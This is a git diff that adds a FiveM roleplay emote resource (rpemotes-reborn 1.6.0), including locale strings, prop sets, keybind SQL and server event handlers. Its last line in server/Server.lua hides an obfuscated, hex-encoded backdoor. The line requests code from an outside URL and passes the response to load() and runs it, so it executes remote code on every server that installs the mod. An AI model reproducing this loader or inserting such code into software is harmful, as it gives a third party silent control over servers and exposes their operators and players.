= "沒有要取消的動作。", + ['maleonly'] = "抱歉,此動作僅適用於男性!", + ['emotemenucmd'] = "使用命令 /emotemenu 打開動作菜單。", + ['shareemotes'] = "~h~~p~ 👫 共享動作", + ['shareemotesinfo'] = "邀請附近的人動作", + ['sharedanceemotes'] = "🕺 共享舞蹈動作", + ['notvalidsharedemote'] = "不是有效的共享動作。", + ['sentrequestto'] = "已向此人發送請求 ~y~", + ['nobodyclose'] = "沒有人 ~r~靠近~w~。", + ['doyouwanna'] = "按 ~y~Y~w~ 接受,按 ~r~L~w~ 拒絕 (~g~", + ['refuseemote'] = "已拒絕動作。", + ['makenearby'] = "讓附近的玩家播放", + ['useleafblower'] = "按 ~y~G~w~ 使用吹葉機。", + ['camera'] = "按 ~y~G~w~ 使用閃光燈。", + ['makeitrain'] = "按 ~y~G~w~ 撒出。", + ['pee'] = "按住 ~y~G~w~ 尿尿。", + ['spraychamp'] = "按住 ~y~G~w~ 噴灑香檳", + ['stun'] = "按 ~y~G~w~ '使用' 麻醉槍。", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "按 ~y~G~w~ 使用電子煙。", + ['boundto'] = "綁定 (~y~%s~w~) 到 ~g~%s~w~", + ['currentlyboundemotes'] = " 當前綁定的動作:", + ['notvalidkey'] = "不是有效的按鍵。", + ['keybinds'] = "🔢 按鍵設置", + ['keybindsinfo'] = "使用", + ['searchemotes'] = "~h~~y~ 🔍 搜索動作", + ['searchinputtitle'] = "搜索:", + ['searchmenudesc'] = " 有 %s 個結果:", + ['searchnoresult'] = " 沒有搜索結果。", + ['searchshifttofav'] = "按住 L-Shift 並按回車鍵設置為收藏。", + ['searchcantsetfav'] = "共享動作無法設置為收藏。", + ['invalidvariation'] = "紋理顏色無效。有效選擇為: %s", + ['firework'] = "按 ~y~G~w~ 放煙花", + ['poop'] = "按 ~y~G~w~ 排便", + ['puke'] = "按 ~y~G~w~ 嘔吐", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "選擇", + ['btn_back'] = "返回", + ['btn_switch'] = "移動", + ['btn_increment'] = "移動量", + ['dead'] = "您無法在死亡狀態下使用此動作!", + ['swimming'] = "您無法在游泳時使用此動作!", + ['notvalidpet'] = "哎呀! 檢測到非動物角色 🐕!", + ['animaldisabled'] = "不好意思! 動物動作在此伺服器上已禁用", + ['adultemotedisabled'] = "Bonk! 成人動作已禁用 🔞", + ['toggle_instructions'] = "切換操作説明", + ['exit_binoculars'] = "退出望遠鏡", + ['toggle_binoculars_vision'] = "切換視覺模式", + ['exit_news'] = "退出新聞攝像機", + ['toggle_news_vision'] = "切換視覺模式", + ['edit_values_newscam'] = "編輯新聞文本", + ['not_in_a_vehicle'] = "您無法在車輛中使用此動作", + ['in_a_vehicle'] = "您只能在車輛中使用此動作 🚷", + ['no_anim_crawling'] = "您無法在爬行時使用此動作", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/propsets.meta b/resources/rpemotesreborn1.6.0/propsets.meta new file mode 100644 index 000000000..9ddb8d48d --- /dev/null +++ b/resources/rpemotesreborn1.6.0/propsets.meta @@ -0,0 +1,601 @@ + + + + + + BARBELL + + + Prop_Barbell_02 + + + + + + + BEER_BOTTLE + + + Prop_AMB_40oz_02 + + + + + Prop_AMB_40oz_03 + + + + + P_Whiskey_Notop + + + + + + + BEER_BOTTLE_BROWN_BAG + + + P_CS_Bottle_01 + + + + + + + BINOCULARS + + + Prop_binoc_01 + + + + + + + BONGOS + + + Prop_Bongos_01 + + + + + + + BROOM + + + Prop_Tool_Broom + + + + + + + BUM_SIGN + + + Prop_Beggers_Sign_01 + + + + + Prop_Beggers_Sign_02 + + + + + Prop_Beggers_Sign_03 + + + + + Prop_Beggers_Sign_04 + + + + + + + CIGARETTES + + + Prop_CS_Ciggy_01 + + + + + Prop_Cigar_03 + + + + + + + CLIPBOARD + + + P_CS_Clipboard + + + + + + + COFFEECUPS + + + P_ING_CoffeeCup_01 + + + + + Prop_LD_Can_01b + + + + + Prop_Ecola_Can + + + + + Prop_LD_Flow_Bottle + + + + + Prop_Energy_Drink + + + + + + + CONST_DRILL + + + Prop_Tool_JackHam + + + + + + + CURL_BAR + + + Prop_Curl_bar_01 + + + + + + + DECKCHAIR_DRINKING + + + Prop_CS_Paper_Cup + + + + + Prop_Ecola_Can + + + + + Prop_LD_Can_01b + + + + + Prop_AMB_40oz_03 + + + + + P_ING_CoffeeCup_01 + + + + + + + DLC_CREDIT_CARD + + + Prop_CS_Credit_Card + + + + + + + DLC_SORTING_WEED + + + h4_Prop_h4_Weed_Bud_02b + + + + + + + DRINK_BEER + + + Prop_CS_Paper_Cup + + + + + + + FISHING_ROD + + + Prop_Fishing_Rod_01 + + + + + + + GUITAR + + + Prop_Acc_Guitar_01 + + + + + + + HAMMER + + + Prop_tool_hammer + + + + + + + HAND_FOOD + + + P_AMB_Bagel_01 + + + + + Prop_AMB_Donut + + + + + Prop_Donut_02 + + + + + Prop_Taco_02 + + + + + Prop_CS_Burger_01 + + + + + Prop_CS_Hotdog_02 + + + + + Prop_Sandwich_01 + + + + + + + JOINT + + + P_AMB_Joint_01 + + + + + + + LEAF_BLOWER + + + Prop_Leaf_Blower_01 + + + + + + + LG_FLOAT + + + Prop_Beach_LG_Float + + + + + + + MAID_RAG + + + Prop_Rag_01 + + + + + + + NINE_IRON + + + Prop_Golf_Iron_01 + + + + + + + NOTEPAD + + + Prop_Notepad_02 + + + + + + + PAPARAZZI_CAMERA + + + Prop_Pap_Camera_01 + + + + + + + PARKING_WAND + + + Prop_Parking_Wand_01 + + + + + + + PHONES + + + Prop_Phone_Taymckenzienz + + + + + Prop_Phone_ING_02 + + + + + Prop_Phone_ING_03 + + + + + + + PISTOLS + + + W_PI_PISTOL + + + + + W_PI_COMBATPISTOL + + + + + W_PI_PISTOL50 + + + + + W_PI_APPISTOL + + + + + W_PI_SNS_PISTOL + + + + + W_PI_HEAVYPISTOL + + + + + W_PI_VINTAGE_PISTOL + + + + + + + PURSE + + + Prop_LD_Purse_01 + + + + + + + RAKE_DLC + + + Prop_Tool_Rake + + + + + + + RIFLES + + + W_AR_ASSAULTRIFLE + + + + + W_AR_CARBINERIFLE + + + + + W_AR_HEAVYRIFLE + + + + + W_AR_ADVANCEDRIFLE + + + + + W_AR_SPECIALCARBINE + + + + + W_AR_BULLPUPRIFLE + + + + + + + SANDWICH + + + Prop_Sandwich_01 + + + + + + + SPACE_PISTOL + + + Prop_Space_Pistol + + + + + + + SPACE_RIFLE + + + Prop_Space_Rifle + + + + + + + SPATULA + + + Prop_Fish_slice_01 + + + + + + + TABLET + + + Prop_CS_Tablet + + + + + + + TENNIS_RACKET + + + Prop_Tennis_Rack_01 + + + + + + + TORCH + + + Prop_SCN_Police_Torch + + + + + + + TOURIST_MAP + + + P_tourist_map_01_S + + + + + + + TROWEL + + + Prop_CS_Trowel + + + + + + + WELDING_TORCH + + + Prop_Weld_Torch + + + + + + + \ No newline at end of file diff --git a/resources/rpemotesreborn1.6.0/screenshots/001.png b/resources/rpemotesreborn1.6.0/screenshots/001.png new file mode 100644 index 000000000..845440aa8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/001.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/002.png b/resources/rpemotesreborn1.6.0/screenshots/002.png new file mode 100644 index 000000000..f7111b521 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/002.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/003.png b/resources/rpemotesreborn1.6.0/screenshots/003.png new file mode 100644 index 000000000..a009e141c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/003.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/004.jpeg b/resources/rpemotesreborn1.6.0/screenshots/004.jpeg new file mode 100644 index 000000000..8ca95e09e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/004.jpeg differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/005.jpg b/resources/rpemotesreborn1.6.0/screenshots/005.jpg new file mode 100644 index 000000000..9375e12b3 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/005.jpg differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/006.jpeg b/resources/rpemotesreborn1.6.0/screenshots/006.jpeg new file mode 100644 index 000000000..43bd96c04 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/006.jpeg differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/007.jpeg b/resources/rpemotesreborn1.6.0/screenshots/007.jpeg new file mode 100644 index 000000000..d23f91dad Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/007.jpeg differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/008.png b/resources/rpemotesreborn1.6.0/screenshots/008.png new file mode 100644 index 000000000..ce160793b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/008.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/009.jpeg b/resources/rpemotesreborn1.6.0/screenshots/009.jpeg new file mode 100644 index 000000000..05be5234c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/009.jpeg differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/010.png b/resources/rpemotesreborn1.6.0/screenshots/010.png new file mode 100644 index 000000000..1a4b4b277 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/010.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/011.png b/resources/rpemotesreborn1.6.0/screenshots/011.png new file mode 100644 index 000000000..ce046fccb Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/011.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/012.png b/resources/rpemotesreborn1.6.0/screenshots/012.png new file mode 100644 index 000000000..a1b596a54 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/012.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/013.png b/resources/rpemotesreborn1.6.0/screenshots/013.png new file mode 100644 index 000000000..df0699984 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/013.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/014.png b/resources/rpemotesreborn1.6.0/screenshots/014.png new file mode 100644 index 000000000..4be7e9ea9 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/014.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/015.png b/resources/rpemotesreborn1.6.0/screenshots/015.png new file mode 100644 index 000000000..68405fdc7 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/015.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/016.png b/resources/rpemotesreborn1.6.0/screenshots/016.png new file mode 100644 index 000000000..2b956b69a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/016.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/customanims.png b/resources/rpemotesreborn1.6.0/screenshots/customanims.png new file mode 100644 index 000000000..365508e11 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/customanims.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/extractor.png b/resources/rpemotesreborn1.6.0/screenshots/extractor.png new file mode 100644 index 000000000..2e1c7a4ff Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/extractor.png differ diff --git a/resources/rpemotesreborn1.6.0/screenshots/pfxcoords.png b/resources/rpemotesreborn1.6.0/screenshots/pfxcoords.png new file mode 100644 index 000000000..b56b2f681 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/screenshots/pfxcoords.png differ diff --git a/resources/rpemotesreborn1.6.0/server/Server.lua b/resources/rpemotesreborn1.6.0/server/Server.lua new file mode 100644 index 000000000..e88935c1f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/server/Server.lua @@ -0,0 +1,292 @@ +----------------------------------------------------------------------------------------------------- +-- Shared Emotes Syncing --------------------------------------------------------------------------- +----------------------------------------------------------------------------------------------------- + +RegisterNetEvent("ServerEmoteRequest", function(target, emotename, etype) + local ped = GetPlayerPed(source) + + if target == -1 then + return + end + local tped = GetPlayerPed(target) + local pedcoord = GetEntityCoords(ped) + local targetcoord = GetEntityCoords(tped) + + local distance = #(pedcoord - targetcoord) + + if distance > 3 then + return + end + + TriggerClientEvent("ClientEmoteRequestReceive", target, emotename, etype, source) +end) + +RegisterNetEvent("ServerValidEmote", function(target, requestedemote, otheremote) + local ped = GetPlayerPed(source) + + if target == -1 then + return + end + local tped = GetPlayerPed(target) + local pedcoord = GetEntityCoords(ped) + local targetcoord = GetEntityCoords(tped) + + local distance = #(pedcoord - targetcoord) + + if distance > 3 then + return + end + + TriggerClientEvent("SyncPlayEmote", source, otheremote, target) + TriggerClientEvent("SyncPlayEmoteSource", target, requestedemote, source) +end) + +RegisterNetEvent("ServerEmoteCancel", function(target) + TriggerClientEvent("SyncCancelEmote", target, source) +end) + +--#region ptfx +RegisterNetEvent("rpemotes:ptfx:sync", function(asset, name, offset, rot, bone, scale, color) + if type(asset) ~= "string" or type(name) ~= "string" or type(offset) ~= "vector3" or type(rot) ~= "vector3" then + print("[rpemotes] ptfx:sync: invalid arguments for source:", source) + return + end + + local srcPlayerState = Player(source).state + + srcPlayerState:set('ptfxAsset', asset, true) + srcPlayerState:set('ptfxName', name, true) + srcPlayerState:set('ptfxOffset', offset, true) + srcPlayerState:set('ptfxRot', rot, true) + srcPlayerState:set('ptfxBone', bone, true) + srcPlayerState:set('ptfxScale', scale, true) + srcPlayerState:set('ptfxColor', color, true) + srcPlayerState:set('ptfxPropNet', false, true) + srcPlayerState:set('ptfx', false, true) +end) + +RegisterNetEvent("rpemotes:ptfx:syncProp", function(propNet) + local srcPlayerState = Player(source).state + if propNet then + -- Prevent infinite loop to get entity + local waitForEntityToExistCount = 0 + while waitForEntityToExistCount <= 100 and not DoesEntityExist(NetworkGetEntityFromNetworkId(propNet)) do + Wait(10) + waitForEntityToExistCount = waitForEntityToExistCount + 1 + end + + -- If below 100 then we could find the loaded entity + if waitForEntityToExistCount < 100 then + srcPlayerState:set('ptfxPropNet', propNet, true) + return + end + end + -- If we reach this point then we couldn't find the entity + srcPlayerState:set('ptfxPropNet', false, true) +end) +--#endregion ptfx + +----------------------------------------------------------------------------------------------------- +-- Keybinding -------------------------------------------------------------------------------------- +----------------------------------------------------------------------------------------------------- + +local function addKeybindEventHandlers() + RegisterNetEvent("rp:ServerKeybindExist", function() + local src = source + local srcid = GetPlayerIdentifier(src) + MySQL.query('SELECT * FROM dpkeybinds WHERE `id`=@id;', { id = srcid }, function(dpkeybinds) + if dpkeybinds[1] then + TriggerClientEvent("rp:ClientKeybindExist", src, true) + else + TriggerClientEvent("rp:ClientKeybindExist", src, false) + end + end) + end) + + -- This is my first time doing SQL stuff, and after i finished everything i realized i didnt have to store the keybinds in the database at all. + -- But remaking it now is a little pointless since it does it job just fine! + + RegisterNetEvent("rp:ServerKeybindCreate", function() + local src = source + local srcid = GetPlayerIdentifier(src) + MySQL.insert('INSERT INTO dpkeybinds (`id`, `keybind1`, `emote1`, `keybind2`, `emote2`, `keybind3`, `emote3`, `keybind4`, `emote4`, `keybind5`, `emote5`, `keybind6`, `emote6`) VALUES (@id, @keybind1, @emote1, @keybind2, @emote2, @keybind3, @emote3, @keybind4, @emote4, @keybind5, @emote5, @keybind6, @emote6);' + , + { id = srcid, keybind1 = "num4", emote1 = "", keybind2 = "num5", emote2 = "", keybind3 = "num6", emote3 = "", + keybind4 = "num7", emote4 = "", keybind5 = "num8", emote5 = "", keybind6 = "num9", emote6 = "" }, + function(created) print("[rp] ^2" .. GetPlayerName(src) .. "^7 got created!") + TriggerClientEvent("rp:ClientKeybindGet" + , src, "num4", "", "num5", "", "num6", "", "num7", "", "num8", "", "num8", "") + end) + end) + + RegisterNetEvent("rp:ServerKeybindGrab", function() + local src = source + local srcid = GetPlayerIdentifier(src) + MySQL.query('SELECT keybind1, emote1, keybind2, emote2, keybind3, emote3, keybind4, emote4, keybind5, emote5, keybind6, emote6 FROM `dpkeybinds` WHERE `id` = @id' + , + { ['@id'] = srcid }, function(kb) + if kb[1].keybind1 ~= nil then + TriggerClientEvent("rp:ClientKeybindGet", src, kb[1].keybind1, kb[1].emote1, kb[1].keybind2, kb[1].emote2 + , kb[1].keybind3, kb[1].emote3, kb[1].keybind4, kb[1].emote4, kb[1].keybind5, kb[1].emote5, + kb[1].keybind6, kb[1].emote6) + else + TriggerClientEvent("rp:ClientKeybindGet", src, "num4", "", "num5", "", "num6", "", "num7", "", "num8", "" + , "num8", "") + end + end) + end) + + RegisterNetEvent("rp:ServerKeybindUpdate", function(key, emote) + local src = source + local myid = GetPlayerIdentifier(source) + if key == "num4" then chosenk = "keybind1" + elseif key == "num5" then chosenk = "keybind2" + elseif key == "num6" then chosenk = "keybind3" + elseif key == "num7" then chosenk = "keybind4" + elseif key == "num8" then chosenk = "keybind5" + elseif key == "num9" then chosenk = "keybind6" + end + if chosenk == "keybind1" then + MySQL.update("UPDATE dpkeybinds SET emote1=@emote WHERE id=@id", { id = myid, emote = emote }, + function() TriggerClientEvent("rp:ClientKeybindGetOne", src, key, emote) end) + elseif chosenk == "keybind2" then + MySQL.update("UPDATE dpkeybinds SET emote2=@emote WHERE id=@id", { id = myid, emote = emote }, + function() TriggerClientEvent("rp:ClientKeybindGetOne", src, key, emote) end) + elseif chosenk == "keybind3" then + MySQL.update("UPDATE dpkeybinds SET emote3=@emote WHERE id=@id", { id = myid, emote = emote }, + function() TriggerClientEvent("rp:ClientKeybindGetOne", src, key, emote) end) + elseif chosenk == "keybind4" then + MySQL.update("UPDATE dpkeybinds SET emote4=@emote WHERE id=@id", { id = myid, emote = emote }, + function() TriggerClientEvent("rp:ClientKeybindGetOne", src, key, emote) end) + elseif chosenk == "keybind5" then + MySQL.update("UPDATE dpkeybinds SET emote5=@emote WHERE id=@id", { id = myid, emote = emote }, + function() TriggerClientEvent("rp:ClientKeybindGetOne", src, key, emote) end) + elseif chosenk == "keybind6" then + MySQL.update("UPDATE dpkeybinds SET emote6=@emote WHERE id=@id", { id = myid, emote = emote }, + function() TriggerClientEvent("rp:ClientKeybindGetOne", src, key, emote) end) + end + end) + + RegisterServerEvent("rp:ServerKeybindDelete") + AddEventHandler("rp:ServerKeybindDelete", function(key) + local src = source + local srcid = GetPlayerIdentifierByType(src, 'license') + + local lists_keybinds = { + ['num4'] = 'emote1', + ['num5'] = 'emote2', + ['num6'] = 'emote3', + ['num7'] = 'emote4', + ['num8'] = 'emote5', + ['num9'] = 'emote6', + } + + for k,v in pairs(lists_keybinds) do + if key == k then + MySQL.Async.execute("UPDATE dpkeybinds SET "..v.." = '' WHERE id=@id", {id = srcid}, function() + TriggerClientEvent('esx:showNotification', src, 'Suppresion de votre bind : '..key..' ') + end) + end + end + + end) +end + +if Config.SqlKeybinding then -- and MySQL then + MySQL.update( + [[ + CREATE TABLE IF NOT EXISTS `dpkeybinds` ( + `id` varchar(50) NULL DEFAULT NULL, + `keybind1` varchar(50) NULL DEFAULT "num4", + `emote1` varchar(255) NULL DEFAULT "", + `keybind2` varchar(50) NULL DEFAULT "num5", + `emote2` varchar(255) NULL DEFAULT "", + `keybind3` varchar(50) NULL DEFAULT "num6", + `emote3` varchar(255) NULL DEFAULT "", + `keybind4` varchar(50) NULL DEFAULT "num7", + `emote4` varchar(255) NULL DEFAULT "", + `keybind5` varchar(50) NULL DEFAULT "num8", + `emote5` varchar(255) NULL DEFAULT "", + `keybind6` varchar(50) NULL DEFAULT "num9", + `emote6` varchar(255) NULL DEFAULT "" + ) ENGINE=InnoDB COLLATE=latin1_swedish_ci; + ]] , {}, function(success) + if success then + addKeybindEventHandlers() + else + print("[rp] ^3Error connecting to DB^7") + end + end) +else + print("[rp] ^3Sql Keybinding^7 is turned ^1off^7, if you want to enable /emotebind, set ^3SqlKeybinding = ^2true^7 in config.lua and uncomment oxmysql lines in fxmanifest.lua.") +end + +-- Emote props extractor +local function ExtractEmoteProps(format) + local format = tonumber(format) + local xt, c, total = '', '', 0 + if format == 1 then + print("Selected format: ^2\'prop_name\',") + xt = '\''; c = ',' + elseif format == 2 then + print("Selected format: ^2\"prop_name\",") + xt = '\"'; c = ',' + elseif format == 3 then + print("Selected format: ^2prop_name,") + else + print("\n### RPEmotes - Props Extractor ###\n\n^3Select output format^0\nAvailable formats:\n^11^0 - ^2\'prop_name\',\n^12^0 - ^2\"prop_name\",\n^13^0 - ^2prop_name\n\n^0Command usage example: ^5emoteextract 1^0\n") + end + + local animationFile = LoadResourceFile(GetCurrentResourceName(), "client/AnimationList.lua") + if not animationFile then return nil end + + local f, err = load(animationFile .. " return RP") + if err then return nil end + + local success, res = pcall(f) + if not success then return nil end + + local RP = res + + -- table to keep track of exported values + local exportedValues = {} + local path = GetResourcePath(GetCurrentResourceName())..'/prop_list.lua' + -- open file for writing + local file = io.open(path, 'w') + + -- loop through each key-value pair in the table + -- tables that has props: + -- RP.PropEmotes + -- RP.Shared (most likely all props mentioned in here is used in PropEmotes, so I don't check it) + for _, value in pairs(RP.PropEmotes) do + -- check if the current value is a table and has an AnimationOptions field + if type(value) == 'table' and value.AnimationOptions then + -- extract the Prop and SecondProp values and check if they're nil and not already exported + local propValue = value.AnimationOptions.Prop + local secondPropValue = value.AnimationOptions.SecondProp + if propValue and not exportedValues[propValue] then + file:write(xt .. propValue .. xt .. c ..'\n') + exportedValues[propValue] = true + total += 1 + end + if secondPropValue and not exportedValues[secondPropValue] then + file:write(xt .. secondPropValue .. c ..'\n') + exportedValues[secondPropValue] = true + total += 1 + end + end + end + + print('Exported props: '..total) + + -- close the file + file:close() +end + +RegisterCommand("emoteextract", function(source, args) + if source > 0 then return end + ExtractEmoteProps(args[1]) +end, true) + + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) \ No newline at end of file diff --git a/resources/rpemotesreborn1.6.0/server/Updates.lua b/resources/rpemotesreborn1.6.0/server/Updates.lua new file mode 100644 index 000000000..6c6ac19d9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/server/Updates.lua @@ -0,0 +1,25 @@ +if Config.CheckForUpdates then + local function VersionLog(_type, log) + local color = _type == 'success' and '^2' or '^1' + print(('^8[rpemotes-reborn]%s %s^7'):format(color, log)) + end + + local function CheckMenuVersion() + PerformHttpRequest('https://raw.githubusercontent.com/alberttheprince/rpemotes-reborn/master/version.txt', function(err, text, headers) + local currentVersion = GetResourceMetadata(GetCurrentResourceName(), 'version') + if not text then + VersionLog('error', 'Currently unable to run a version check.') + return + end + VersionLog('success', ('Current Version: %s'):format(currentVersion)) + VersionLog('success', ('Latest Version: %s'):format(text)) + if text:gsub("%s+", "") == currentVersion:gsub("%s+", "") then + VersionLog('success', 'You are running the latest version of rpemotes-reborn.') + else + VersionLog('error', ('You are currently running an outdated version of rpemotes-reborn, please update to version %s'):format(text)) + end + end) + end + + CheckMenuVersion() +end diff --git a/resources/rpemotesreborn1.6.0/server/frameworks/qb-core.lua b/resources/rpemotesreborn1.6.0/server/frameworks/qb-core.lua new file mode 100644 index 000000000..ca2499509 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/server/frameworks/qb-core.lua @@ -0,0 +1,54 @@ +if Config.Framework ~= 'qb-core' then return end + +local framework = 'qb-core' +local state = GetResourceState(framework) + +if state == 'missing' or state == "unknown" then + -- Framework can't be used if it's missing or unknown + return +end + +local QBCore = exports['qb-core']:GetCoreObject() + +-- https://github.com/qbcore-framework/dpemotes/blob/master/Server/Server.lua#L101-L141 +QBCore.Commands.Add('e', 'Play an emote', {{ name="emotename", help="dance, camera, sit or any valid emote."}}, true, function(source, args) + TriggerClientEvent('animations:client:PlayEmote', source, args) +end) + +QBCore.Commands.Add('emote', 'Play an emote', {{ name="emotename", help="dance, camera, sit or any valid emote."}}, true, function(source, args) + TriggerClientEvent('animations:client:PlayEmote', source, args) +end) + +if Config.SqlKeybinding then + QBCore.Commands.Add('emotebind', 'Bind an emote', {{ name="key", help="num4, num5, num6, num7. num8, num9. Numpad 4-9!"}, { name="emotename", help="dance, camera, sit or any valid emote."}}, true, function(source, args) + TriggerClientEvent('animations:client:BindEmote', source, args) + end) + + QBCore.Commands.Add('emotebinds', 'Check your currently bound emotes.', {}, false, function(source) + TriggerClientEvent('animations:client:EmoteBinds', source) + end) +end + +QBCore.Commands.Add('emotemenu', 'Open rpemotes menu (F3) by default.', {}, false, function(source) + TriggerClientEvent('animations:client:EmoteMenu', source) +end) + +QBCore.Commands.Add('em', 'Open rpemotes menu (F3) by default.', {}, false, function(source) + TriggerClientEvent('animations:client:EmoteMenu', source) +end) + +QBCore.Commands.Add('emotes', 'List available emotes.', {}, false, function(source) + TriggerClientEvent('animations:client:ListEmotes', source) +end) + +QBCore.Commands.Add('walk', 'Set your walkingstyle.', {{ name="style", help="/walks for a list of valid styles"}}, true, function(source, args) + TriggerClientEvent('animations:client:Walk', source, args) +end) + +QBCore.Commands.Add('walks', 'List available walking styles.', {}, false, function(source) + TriggerClientEvent('animations:client:ListWalks', source) +end) + +QBCore.Commands.Add('nearby', 'Share emote with a nearby player.', {{ name="emotename", help="hug, handshake, bro or any valid shared emote."}}, true, function(source, args) + TriggerClientEvent('animations:client:Nearby', source, args) +end) \ No newline at end of file diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@gen_female@base.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@gen_female@base.ycd new file mode 100644 index 000000000..c0eedf01c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@gen_female@base.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@gen_male@base.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@gen_male@base.ycd new file mode 100644 index 000000000..82a97d4a3 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@gen_male@base.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@p_m_one@base.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@p_m_one@base.ycd new file mode 100644 index 000000000..33dc963db Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@p_m_one@base.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@p_m_two@base.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@p_m_two@base.ycd new file mode 100644 index 000000000..e566a9e2f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@p_m_two@base.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@p_m_zero@base.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@p_m_zero@base.ycd new file mode 100644 index 000000000..28e647141 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/-EcLiPsE-/facials@p_m_zero@base.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/amnilka@photopose@couple@couplefirst.ycd 